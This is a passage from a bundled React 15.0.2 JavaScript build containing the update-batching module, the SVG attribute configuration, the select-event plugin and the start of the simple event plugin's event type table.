first component you're comparing\n * @param {ReactComponent} c2 second component you're comparing\n * @return {number} Return value usable by Array.prototype.sort().\n */\nfunction mountOrderComparator(c1, c2) {\n  return c1._mountOrder - c2._mountOrder;\n}\n\nfunction runBatchedUpdates(transaction) {\n  var len = transaction.dirtyComponentsLength;\n  !(len === dirtyComponents.length) ? \"development\" !== 'production' ? invariant(false, 'Expected flush transaction\\'s stored dirty-components length (%s) to ' + 'match dirty-components array length (%s).', len, dirtyComponents.length) : invariant(false) : void 0;\n\n  // Since reconciling a component higher in the owner hierarchy usually (not\n  // always -- see shouldComponentUpdate()) will reconcile children, reconcile\n  // them before their children by sorting the array.\n  dirtyComponents.sort(mountOrderComparator);\n\n  for (var i = 0; i < len; i++) {\n    // If a component is unmounted before pending changes apply, it will still\n    // be here, but we assume that it has cleared its _pendingCallbacks and\n    // that performUpdateIfNecessary is a noop.\n    var component = dirtyComponents[i];\n\n    // If performUpdateIfNecessary happens to enqueue any new updates, we\n    // shouldn't execute the callbacks until the next render happens, so\n    // stash the callbacks first\n    var callbacks = component._pendingCallbacks;\n    component._pendingCallbacks = null;\n\n    var markerName;\n    if (ReactFeatureFlags.logTopLevelRenders) {\n      var namedComponent = component;\n      // Duck type TopLevelWrapper. This is probably always true.\n      if (component._currentElement.props === component._renderedComponent._currentElement) {\n        namedComponent = component._renderedComponent;\n      }\n      markerName = 'React update: ' + namedComponent.getName();\n      console.time(markerName);\n    }\n\n    ReactReconciler.performUpdateIfNecessary(component, transaction.reconcileTransaction);\n\n    if (markerName) {\n      console.timeEnd(markerName);\n    }\n\n    if (callbacks) {\n      for (var j = 0; j < callbacks.length; j++) {\n        transaction.callbackQueue.enqueue(callbacks[j], component.getPublicInstance());\n      }\n    }\n  }\n}\n\nvar flushBatchedUpdates = function () {\n  // ReactUpdatesFlushTransaction's wrappers will clear the dirtyComponents\n  // array and perform any updates enqueued by mount-ready handlers (i.e.,\n  // componentDidUpdate) but we need to check here too in order to catch\n  // updates enqueued by setState callbacks and asap calls.\n  while (dirtyComponents.length || asapEnqueued) {\n    if (dirtyComponents.length) {\n      var transaction = ReactUpdatesFlushTransaction.getPooled();\n      transaction.perform(runBatchedUpdates, null, transaction);\n      ReactUpdatesFlushTransaction.release(transaction);\n    }\n\n    if (asapEnqueued) {\n      asapEnqueued = false;\n      var queue = asapCallbackQueue;\n      asapCallbackQueue = CallbackQueue.getPooled();\n      queue.notifyAll();\n      CallbackQueue.release(queue);\n    }\n  }\n};\nflushBatchedUpdates = ReactPerf.measure('ReactUpdates', 'flushBatchedUpdates', flushBatchedUpdates);\n\n/**\n * Mark a component as needing a rerender, adding an optional callback to a\n * list of functions which will be executed once the rerender occurs.\n */\nfunction enqueueUpdate(component) {\n  ensureInjected();\n\n  // Various parts of our code (such as ReactCompositeComponent's\n  // _renderValidatedComponent) assume that calls to render aren't nested;\n  // verify that that's the case. (This is called by each top-level update\n  // function, like setProps, setState, forceUpdate, etc.; creation and\n  // destruction of top-level components is guarded in ReactMount.)\n\n  if (!batchingStrategy.isBatchingUpdates) {\n    batchingStrategy.batchedUpdates(enqueueUpdate, component);\n    return;\n  }\n\n  dirtyComponents.push(component);\n}\n\n/**\n * Enqueue a callback to be run at the end of the current batching cycle. Throws\n * if no updates are currently being performed.\n */\nfunction asap(callback, context) {\n  !batchingStrategy.isBatchingUpdates ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates.asap: Can\\'t enqueue an asap callback in a context where' + 'updates are not being batched.') : invariant(false) : void 0;\n  asapCallbackQueue.enqueue(callback, context);\n  asapEnqueued = true;\n}\n\nvar ReactUpdatesInjection = {\n  injectReconcileTransaction: function (ReconcileTransaction) {\n    !ReconcileTransaction ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates: must provide a reconcile transaction class') : invariant(false) : void 0;\n    ReactUpdates.ReactReconcileTransaction = ReconcileTransaction;\n  },\n\n  injectBatchingStrategy: function (_batchingStrategy) {\n    !_batchingStrategy ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates: must provide a batching strategy') : invariant(false) : void 0;\n    !(typeof _batchingStrategy.batchedUpdates === 'function') ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates: must provide a batchedUpdates() function') : invariant(false) : void 0;\n    !(typeof _batchingStrategy.isBatchingUpdates === 'boolean') ? \"development\" !== 'production' ? invariant(false, 'ReactUpdates: must provide an isBatchingUpdates boolean attribute') : invariant(false) : void 0;\n    batchingStrategy = _batchingStrategy;\n  }\n};\n\nvar ReactUpdates = {\n  /**\n   * React references `ReactReconcileTransaction` using this property in order\n   * to allow dependency injection.\n   *\n   * @internal\n   */\n  ReactReconcileTransaction: null,\n\n  batchedUpdates: batchedUpdates,\n  enqueueUpdate: enqueueUpdate,\n  flushBatchedUpdates: flushBatchedUpdates,\n  injection: ReactUpdatesInjection,\n  asap: asap\n};\n\nmodule.exports = ReactUpdates;\n},{\"112\":112,\"158\":158,\"169\":169,\"25\":25,\"5\":5,\"68\":68,\"82\":82,\"87\":87}],95:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactVersion\n */\n\n'use strict';\n\nmodule.exports = '15.0.2';\n},{}],96:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SVGDOMPropertyConfig\n */\n\n'use strict';\n\nvar NS = {\n  xlink: 'http://www.w3.org/1999/xlink',\n  xml: 'http://www.w3.org/XML/1998/namespace'\n};\n\n// We use attributes for everything SVG so let's avoid some duplication and run\n// code instead.\n// The following are all specified in the HTML config already so we exclude here.\n// - class (as className)\n// - color\n// - height\n// - id\n// - lang\n// - max\n// - media\n// - method\n// - min\n// - name\n// - style\n// - target\n// - type\n// - width\nvar ATTRS = {\n  accentHeight: 'accent-height',\n  accumulate: 0,\n  additive: 0,\n  alignmentBaseline: 'alignment-baseline',\n  allowReorder: 'allowReorder',\n  alphabetic: 0,\n  amplitude: 0,\n  arabicForm: 'arabic-form',\n  ascent: 0,\n  attributeName: 'attributeName',\n  attributeType: 'attributeType',\n  autoReverse: 'autoReverse',\n  azimuth: 0,\n  baseFrequency: 'baseFrequency',\n  baseProfile: 'baseProfile',\n  baselineShift: 'baseline-shift',\n  bbox: 0,\n  begin: 0,\n  bias: 0,\n  by: 0,\n  calcMode: 'calcMode',\n  capHeight: 'cap-height',\n  clip: 0,\n  clipPath: 'clip-path',\n  clipRule: 'clip-rule',\n  clipPathUnits: 'clipPathUnits',\n  colorInterpolation: 'color-interpolation',\n  colorInterpolationFilters: 'color-interpolation-filters',\n  colorProfile: 'color-profile',\n  colorRendering: 'color-rendering',\n  contentScriptType: 'contentScriptType',\n  contentStyleType: 'contentStyleType',\n  cursor: 0,\n  cx: 0,\n  cy: 0,\n  d: 0,\n  decelerate: 0,\n  descent: 0,\n  diffuseConstant: 'diffuseConstant',\n  direction: 0,\n  display: 0,\n  divisor: 0,\n  dominantBaseline: 'dominant-baseline',\n  dur: 0,\n  dx: 0,\n  dy: 0,\n  edgeMode: 'edgeMode',\n  elevation: 0,\n  enableBackground: 'enable-background',\n  end: 0,\n  exponent: 0,\n  externalResourcesRequired: 'externalResourcesRequired',\n  fill: 0,\n  fillOpacity: 'fill-opacity',\n  fillRule: 'fill-rule',\n  filter: 0,\n  filterRes: 'filterRes',\n  filterUnits: 'filterUnits',\n  floodColor: 'flood-color',\n  floodOpacity: 'flood-opacity',\n  focusable: 0,\n  fontFamily: 'font-family',\n  fontSize: 'font-size',\n  fontSizeAdjust: 'font-size-adjust',\n  fontStretch: 'font-stretch',\n  fontStyle: 'font-style',\n  fontVariant: 'font-variant',\n  fontWeight: 'font-weight',\n  format: 0,\n  from: 0,\n  fx: 0,\n  fy: 0,\n  g1: 0,\n  g2: 0,\n  glyphName: 'glyph-name',\n  glyphOrientationHorizontal: 'glyph-orientation-horizontal',\n  glyphOrientationVertical: 'glyph-orientation-vertical',\n  glyphRef: 'glyphRef',\n  gradientTransform: 'gradientTransform',\n  gradientUnits: 'gradientUnits',\n  hanging: 0,\n  horizAdvX: 'horiz-adv-x',\n  horizOriginX: 'horiz-origin-x',\n  ideographic: 0,\n  imageRendering: 'image-rendering',\n  'in': 0,\n  in2: 0,\n  intercept: 0,\n  k: 0,\n  k1: 0,\n  k2: 0,\n  k3: 0,\n  k4: 0,\n  kernelMatrix: 'kernelMatrix',\n  kernelUnitLength: 'kernelUnitLength',\n  kerning: 0,\n  keyPoints: 'keyPoints',\n  keySplines: 'keySplines',\n  keyTimes: 'keyTimes',\n  lengthAdjust: 'lengthAdjust',\n  letterSpacing: 'letter-spacing',\n  lightingColor: 'lighting-color',\n  limitingConeAngle: 'limitingConeAngle',\n  local: 0,\n  markerEnd: 'marker-end',\n  markerMid: 'marker-mid',\n  markerStart: 'marker-start',\n  markerHeight: 'markerHeight',\n  markerUnits: 'markerUnits',\n  markerWidth: 'markerWidth',\n  mask: 0,\n  maskContentUnits: 'maskContentUnits',\n  maskUnits: 'maskUnits',\n  mathematical: 0,\n  mode: 0,\n  numOctaves: 'numOctaves',\n  offset: 0,\n  opacity: 0,\n  operator: 0,\n  order: 0,\n  orient: 0,\n  orientation: 0,\n  origin: 0,\n  overflow: 0,\n  overlinePosition: 'overline-position',\n  overlineThickness: 'overline-thickness',\n  paintOrder: 'paint-order',\n  panose1: 'panose-1',\n  pathLength: 'pathLength',\n  patternContentUnits: 'patternContentUnits',\n  patternTransform: 'patternTransform',\n  patternUnits: 'patternUnits',\n  pointerEvents: 'pointer-events',\n  points: 0,\n  pointsAtX: 'pointsAtX',\n  pointsAtY: 'pointsAtY',\n  pointsAtZ: 'pointsAtZ',\n  preserveAlpha: 'preserveAlpha',\n  preserveAspectRatio: 'preserveAspectRatio',\n  primitiveUnits: 'primitiveUnits',\n  r: 0,\n  radius: 0,\n  refX: 'refX',\n  refY: 'refY',\n  renderingIntent: 'rendering-intent',\n  repeatCount: 'repeatCount',\n  repeatDur: 'repeatDur',\n  requiredExtensions: 'requiredExtensions',\n  requiredFeatures: 'requiredFeatures',\n  restart: 0,\n  result: 0,\n  rotate: 0,\n  rx: 0,\n  ry: 0,\n  scale: 0,\n  seed: 0,\n  shapeRendering: 'shape-rendering',\n  slope: 0,\n  spacing: 0,\n  specularConstant: 'specularConstant',\n  specularExponent: 'specularExponent',\n  speed: 0,\n  spreadMethod: 'spreadMethod',\n  startOffset: 'startOffset',\n  stdDeviation: 'stdDeviation',\n  stemh: 0,\n  stemv: 0,\n  stitchTiles: 'stitchTiles',\n  stopColor: 'stop-color',\n  stopOpacity: 'stop-opacity',\n  strikethroughPosition: 'strikethrough-position',\n  strikethroughThickness: 'strikethrough-thickness',\n  string: 0,\n  stroke: 0,\n  strokeDasharray: 'stroke-dasharray',\n  strokeDashoffset: 'stroke-dashoffset',\n  strokeLinecap: 'stroke-linecap',\n  strokeLinejoin: 'stroke-linejoin',\n  strokeMiterlimit: 'stroke-miterlimit',\n  strokeOpacity: 'stroke-opacity',\n  strokeWidth: 'stroke-width',\n  surfaceScale: 'surfaceScale',\n  systemLanguage: 'systemLanguage',\n  tableValues: 'tableValues',\n  targetX: 'targetX',\n  targetY: 'targetY',\n  textAnchor: 'text-anchor',\n  textDecoration: 'text-decoration',\n  textRendering: 'text-rendering',\n  textLength: 'textLength',\n  to: 0,\n  transform: 0,\n  u1: 0,\n  u2: 0,\n  underlinePosition: 'underline-position',\n  underlineThickness: 'underline-thickness',\n  unicode: 0,\n  unicodeBidi: 'unicode-bidi',\n  unicodeRange: 'unicode-range',\n  unitsPerEm: 'units-per-em',\n  vAlphabetic: 'v-alphabetic',\n  vHanging: 'v-hanging',\n  vIdeographic: 'v-ideographic',\n  vMathematical: 'v-mathematical',\n  values: 0,\n  vectorEffect: 'vector-effect',\n  version: 0,\n  vertAdvY: 'vert-adv-y',\n  vertOriginX: 'vert-origin-x',\n  vertOriginY: 'vert-origin-y',\n  viewBox: 'viewBox',\n  viewTarget: 'viewTarget',\n  visibility: 0,\n  widths: 0,\n  wordSpacing: 'word-spacing',\n  writingMode: 'writing-mode',\n  x: 0,\n  xHeight: 'x-height',\n  x1: 0,\n  x2: 0,\n  xChannelSelector: 'xChannelSelector',\n  xlinkActuate: 'xlink:actuate',\n  xlinkArcrole: 'xlink:arcrole',\n  xlinkHref: 'xlink:href',\n  xlinkRole: 'xlink:role',\n  xlinkShow: 'xlink:show',\n  xlinkTitle: 'xlink:title',\n  xlinkType: 'xlink:type',\n  xmlBase: 'xml:base',\n  xmlLang: 'xml:lang',\n  xmlSpace: 'xml:space',\n  y: 0,\n  y1: 0,\n  y2: 0,\n  yChannelSelector: 'yChannelSelector',\n  z: 0,\n  zoomAndPan: 'zoomAndPan'\n};\n\nvar SVGDOMPropertyConfig = {\n  Properties: {},\n  DOMAttributeNamespaces: {\n    xlinkActuate: NS.xlink,\n    xlinkArcrole: NS.xlink,\n    xlinkHref: NS.xlink,\n    xlinkRole: NS.xlink,\n    xlinkShow: NS.xlink,\n    xlinkTitle: NS.xlink,\n    xlinkType: NS.xlink,\n    xmlBase: NS.xml,\n    xmlLang: NS.xml,\n    xmlSpace: NS.xml\n  },\n  DOMAttributeNames: {}\n};\n\nObject.keys(ATTRS).forEach(function (key) {\n  SVGDOMPropertyConfig.Properties[key] = 0;\n  if (ATTRS[key]) {\n    SVGDOMPropertyConfig.DOMAttributeNames[key] = ATTRS[key];\n  }\n});\n\nmodule.exports = SVGDOMPropertyConfig;\n},{}],97:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SelectEventPlugin\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventPropagators = _dereq_(20);\nvar ExecutionEnvironment = _dereq_(144);\nvar ReactDOMComponentTree = _dereq_(40);\nvar ReactInputSelection = _dereq_(70);\nvar SyntheticEvent = _dereq_(103);\n\nvar getActiveElement = _dereq_(153);\nvar isTextInputElement = _dereq_(134);\nvar keyOf = _dereq_(162);\nvar shallowEqual = _dereq_(167);\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\nvar skipSelectionChangeEvent = ExecutionEnvironment.canUseDOM && 'documentMode' in document && document.documentMode <= 11;\n\nvar eventTypes = {\n  select: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onSelect: null }),\n      captured: keyOf({ onSelectCapture: null })\n    },\n    dependencies: [topLevelTypes.topBlur, topLevelTypes.topContextMenu, topLevelTypes.topFocus, topLevelTypes.topKeyDown, topLevelTypes.topMouseDown, topLevelTypes.topMouseUp, topLevelTypes.topSelectionChange]\n  }\n};\n\nvar activeElement = null;\nvar activeElementInst = null;\nvar lastSelection = null;\nvar mouseDown = false;\n\n// Track whether a listener exists for this plugin. If none exist, we do\n// not extract events. See #3639.\nvar hasListener = false;\nvar ON_SELECT_KEY = keyOf({ onSelect: null });\n\n/**\n * Get an object which is a unique representation of the current selection.\n *\n * The return value will not be consistent across nodes or browsers, but\n * two identical selections on the same node will return identical objects.\n *\n * @param {DOMElement} node\n * @return {object}\n */\nfunction getSelection(node) {\n  if ('selectionStart' in node && ReactInputSelection.hasSelectionCapabilities(node)) {\n    return {\n      start: node.selectionStart,\n      end: node.selectionEnd\n    };\n  } else if (window.getSelection) {\n    var selection = window.getSelection();\n    return {\n      anchorNode: selection.anchorNode,\n      anchorOffset: selection.anchorOffset,\n      focusNode: selection.focusNode,\n      focusOffset: selection.focusOffset\n    };\n  } else if (document.selection) {\n    var range = document.selection.createRange();\n    return {\n      parentElement: range.parentElement(),\n      text: range.text,\n      top: range.boundingTop,\n      left: range.boundingLeft\n    };\n  }\n}\n\n/**\n * Poll selection to see whether it's changed.\n *\n * @param {object} nativeEvent\n * @return {?SyntheticEvent}\n */\nfunction constructSelectEvent(nativeEvent, nativeEventTarget) {\n  // Ensure we have the right element, and that the user is not dragging a\n  // selection (this matches native `select` event behavior). In HTML5, select\n  // fires only on input and textarea thus if there's no focused element we\n  // won't dispatch.\n  if (mouseDown || activeElement == null || activeElement !== getActiveElement()) {\n    return null;\n  }\n\n  // Only fire when selection has actually changed.\n  var currentSelection = getSelection(activeElement);\n  if (!lastSelection || !shallowEqual(lastSelection, currentSelection)) {\n    lastSelection = currentSelection;\n\n    var syntheticEvent = SyntheticEvent.getPooled(eventTypes.select, activeElementInst, nativeEvent, nativeEventTarget);\n\n    syntheticEvent.type = 'select';\n    syntheticEvent.target = activeElement;\n\n    EventPropagators.accumulateTwoPhaseDispatches(syntheticEvent);\n\n    return syntheticEvent;\n  }\n\n  return null;\n}\n\n/**\n * This plugin creates an `onSelect` event that normalizes select events\n * across form elements.\n *\n * Supported elements are:\n * - input (see `isTextInputElement`)\n * - textarea\n * - contentEditable\n *\n * This differs from native browser implementations in the following ways:\n * - Fires on contentEditable fields as well as inputs.\n * - Fires for collapsed selection.\n * - Fires after user input.\n */\nvar SelectEventPlugin = {\n\n  eventTypes: eventTypes,\n\n  extractEvents: function (topLevelType, targetInst, nativeEvent, nativeEventTarget) {\n    if (!hasListener) {\n      return null;\n    }\n\n    var targetNode = targetInst ? ReactDOMComponentTree.getNodeFromInstance(targetInst) : window;\n\n    switch (topLevelType) {\n      // Track the input node that has focus.\n      case topLevelTypes.topFocus:\n        if (isTextInputElement(targetNode) || targetNode.contentEditable === 'true') {\n          activeElement = targetNode;\n          activeElementInst = targetInst;\n          lastSelection = null;\n        }\n        break;\n      case topLevelTypes.topBlur:\n        activeElement = null;\n        activeElementInst = null;\n        lastSelection = null;\n        break;\n\n      // Don't fire the event while the user is dragging. This matches the\n      // semantics of the native select event.\n      case topLevelTypes.topMouseDown:\n        mouseDown = true;\n        break;\n      case topLevelTypes.topContextMenu:\n      case topLevelTypes.topMouseUp:\n        mouseDown = false;\n        return constructSelectEvent(nativeEvent, nativeEventTarget);\n\n      // Chrome and IE fire non-standard event when selection is changed (and\n      // sometimes when it hasn't). IE's event fires out of order with respect\n      // to key and input events on deletion, so we discard it.\n      //\n      // Firefox doesn't support selectionchange, so check selection status\n      // after each key entry. The selection changes after keydown and before\n      // keyup, but we check on keydown as well in the case of holding down a\n      // key, when multiple keydown events are fired but only one keyup is.\n      // This is also our approach for IE handling, for the reason above.\n      case topLevelTypes.topSelectionChange:\n        if (skipSelectionChangeEvent) {\n          break;\n        }\n      // falls through\n      case topLevelTypes.topKeyDown:\n      case topLevelTypes.topKeyUp:\n        return constructSelectEvent(nativeEvent, nativeEventTarget);\n    }\n\n    return null;\n  },\n\n  didPutListener: function (inst, registrationName, listener) {\n    if (registrationName === ON_SELECT_KEY) {\n      hasListener = true;\n    }\n  }\n};\n\nmodule.exports = SelectEventPlugin;\n},{\"103\":103,\"134\":134,\"144\":144,\"153\":153,\"16\":16,\"162\":162,\"167\":167,\"20\":20,\"40\":40,\"70\":70}],98:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule SimpleEventPlugin\n */\n\n'use strict';\n\nvar EventConstants = _dereq_(16);\nvar EventListener = _dereq_(143);\nvar EventPropagators = _dereq_(20);\nvar ReactDOMComponentTree = _dereq_(40);\nvar SyntheticAnimationEvent = _dereq_(99);\nvar SyntheticClipboardEvent = _dereq_(100);\nvar SyntheticEvent = _dereq_(103);\nvar SyntheticFocusEvent = _dereq_(104);\nvar SyntheticKeyboardEvent = _dereq_(106);\nvar SyntheticMouseEvent = _dereq_(107);\nvar SyntheticDragEvent = _dereq_(102);\nvar SyntheticTouchEvent = _dereq_(108);\nvar SyntheticTransitionEvent = _dereq_(109);\nvar SyntheticUIEvent = _dereq_(110);\nvar SyntheticWheelEvent = _dereq_(111);\n\nvar emptyFunction = _dereq_(150);\nvar getEventCharCode = _dereq_(123);\nvar invariant = _dereq_(158);\nvar keyOf = _dereq_(162);\n\nvar topLevelTypes = EventConstants.topLevelTypes;\n\nvar eventTypes = {\n  abort: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onAbort: true }),\n      captured: keyOf({ onAbortCapture: true })\n    }\n  },\n  animationEnd: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onAnimationEnd: true }),\n      captured: keyOf({ onAnimationEndCapture: true })\n    }\n  },\n  animationIteration: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onAnimationIteration: true }),\n      captured: keyOf({ onAnimationIterationCapture: true })\n    }\n  },\n  animationStart: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onAnimationStart: true }),\n      captured: keyOf({ onAnimationStartCapture: true })\n    }\n  },\n  blur: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onBlur: true }),\n      captured: keyOf({ onBlurCapture: true })\n    }\n  },\n  canPlay: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCanPlay: true }),\n      captured: keyOf({ onCanPlayCapture: true })\n    }\n  },\n  canPlayThrough: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCanPlayThrough: true }),\n      captured: keyOf({ onCanPlayThroughCapture: true })\n    }\n  },\n  click: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onClick: true }),\n      captured: keyOf({ onClickCapture: true })\n    }\n  },\n  contextMenu: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onContextMenu: true }),\n      captured: keyOf({ onContextMenuCapture: true })\n    }\n  },\n  copy: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCopy: true }),\n      captured: keyOf({ onCopyCapture: true })\n    }\n  },\n  cut: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onCut: true }),\n      captured: keyOf({ onCutCapture: true })\n    }\n  },\n  doubleClick: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDoubleClick: true }),\n      captured: keyOf({ onDoubleClickCapture: true })\n    }\n  },\n  drag: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDrag: true }),\n      captured: keyOf({ onDragCapture: true })\n    }\n  },\n  dragEnd: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragEnd: true }),\n      captured: keyOf({ onDragEndCapture: true })\n    }\n  },\n  dragEnter: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragEnter: true }),\n      captured: keyOf({ onDragEnterCapture: true })\n    }\n  },\n  dragExit: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragExit: true }),\n      captured: keyOf({ onDragExitCapture: true })\n    }\n  },\n  dragLeave: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragLeave: true }),\n      captured: keyOf({ onDragLeaveCapture: true })\n    }\n  },\n  dragOver: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragOver: true }),\n      captured: keyOf({ onDragOverCapture: true })\n    }\n  },\n  dragStart: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDragStart: true }),\n      captured: keyOf({ onDragStartCapture: true })\n    }\n  },\n  drop: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDrop: true }),\n      captured: keyOf({ onDropCapture: true })\n    }\n  },\n  durationChange: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onDurationChange: true }),\n      captured: keyOf({ onDurationChangeCapture: true })\n    }\n  },\n  emptied: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onEmptied: true }),\n      captured: keyOf({ onEmptiedCapture: true })\n    }\n  },\n  encrypted: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onEncrypted: true }),\n      captured: keyOf({ onEncryptedCapture: true })\n    }\n  },\n  ended: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onEnded: true }),\n      captured: keyOf({ onEndedCapture: true })\n    }\n  },\n  error: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onError: true }),\n      captured: keyOf({ onErrorCapture: true })\n    }\n  },\n  focus: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onFocus: true }),\n      captured: keyOf({ onFocusCapture: true })\n    }\n  },\n  input: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onInput: true }),\n      captured: keyOf({ onInputCapture: true })\n    }\n  },\n  invalid: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onInvalid: true }),\n      captured: keyOf({ onInvalidCapture: true })\n    }\n  },\n  keyDown: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onKeyDown: true }),\n      captured: keyOf({ onKeyDownCapture: true })\n    }\n  },\n  keyPress: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onKeyPress: true }),\n      captured: keyOf({ onKeyPressCapture: true })\n    }\n  },\n  keyUp: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onKeyUp: true }),\n      captured: keyOf({ onKeyUpCapture: true })\n    }\n  },\n  load: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onLoad: true }),\n      captured: keyOf({ onLoadCapture: true })\n    }\n  },\n  loadedData: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onLoadedData: true }),\n      captured: keyOf({ onLoadedDataCapture: true })\n    }\n  },\n  loadedMetadata: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onLoadedMetadata: true }),\n      captured: keyOf({ onLoadedMetadataCapture: true })\n    }\n  },\n  loadStart: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onLoadStart: true }),\n      captured: keyOf({ onLoadStartCapture: true })\n    }\n  },\n  // Note: We do not allow listening to mouseOver events. Instead, use the\n  // onMouseEnter/onMouseLeave created by `EnterLeaveEventPlugin`.\n  mouseDown: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onMouseDown: true }),\n      captured: keyOf({ onMouseDownCapture: true })\n    }\n  },\n  mouseMove: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onMouseMove: true }),\n      captured: keyOf({ onMouseMoveCapture: true })\n    }\n  },\n  mouseOut: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onMouseOut: true }),\n      captured: keyOf({ onMouseOutCapture: true })\n    }\n  },\n  mouseOver: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onMouseOver: true }),\n      captured: keyOf({ onMouseOverCapture: true })\n    }\n  },\n  mouseUp: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onMouseUp: true }),\n      captured: keyOf({ onMouseUpCapture: true })\n    }\n  },\n  paste: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onPaste: true }),\n      captured: keyOf({ onPasteCapture: true })\n    }\n  },\n  pause: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onPause: true }),\n      captured: keyOf({ onPauseCapture: true })\n    }\n  },\n  play: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onPlay: true }),\n      captured: keyOf({ onPlayCapture: true })\n    }\n  },\n  playing: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onPlaying: true }),\n      captured: keyOf({ onPlayingCapture: true })\n    }\n  },\n  progress: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onProgress: true }),\n      captured: keyOf({ onProgressCapture: true })\n    }\n  },\n  rateChange: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onRateChange: true }),\n      captured: keyOf({ onRateChangeCapture: true })\n    }\n  },\n  reset: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onReset: true }),\n      captured: keyOf({ onResetCapture: true })\n    }\n  },\n  scroll: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onScroll: true }),\n      captured: keyOf({ onScrollCapture: true })\n    }\n  },\n  seeked: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onSeeked: true }),\n      captured: keyOf({ onSeekedCapture: true })\n    }\n  },\n  seeking: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onSeeking: true }),\n      captured: keyOf({ onSeekingCapture: true })\n    }\n  },\n  stalled: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onStalled: true }),\n      captured: keyOf({ onStalledCapture: true })\n    }\n  },\n  submit: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onSubmit: true }),\n      captured: keyOf({ onSubmitCapture: true })\n    }\n  },\n  suspend: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onSuspend: true }),\n      captured: keyOf({ onSuspendCapture: true })\n    }\n  },\n  timeUpdate: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onTimeUpdate: true }),\n      captured: keyOf({ onTimeUpdateCapture: true })\n    }\n  },\n  touchCancel: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onTouchCancel: true }),\n      captured: keyOf({ onTouchCancelCapture: true })\n    }\n  },\n  touchEnd: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onTouchEnd: true }),\n      captured: keyOf({ onTouchEndCapture: true })\n    }\n  },\n  touchMove: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onTouchMove: true }),\n      captured: keyOf({ onTouchMoveCapture: true })\n    }\n  },\n  touchStart: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ onTouchStart: true }),\n      captured: keyOf({ onTouchStartCapture: true })\n    }\n  },\n  transitionEnd: {\n    phasedRegistrationNames: {\n      bubbled: keyOf({ 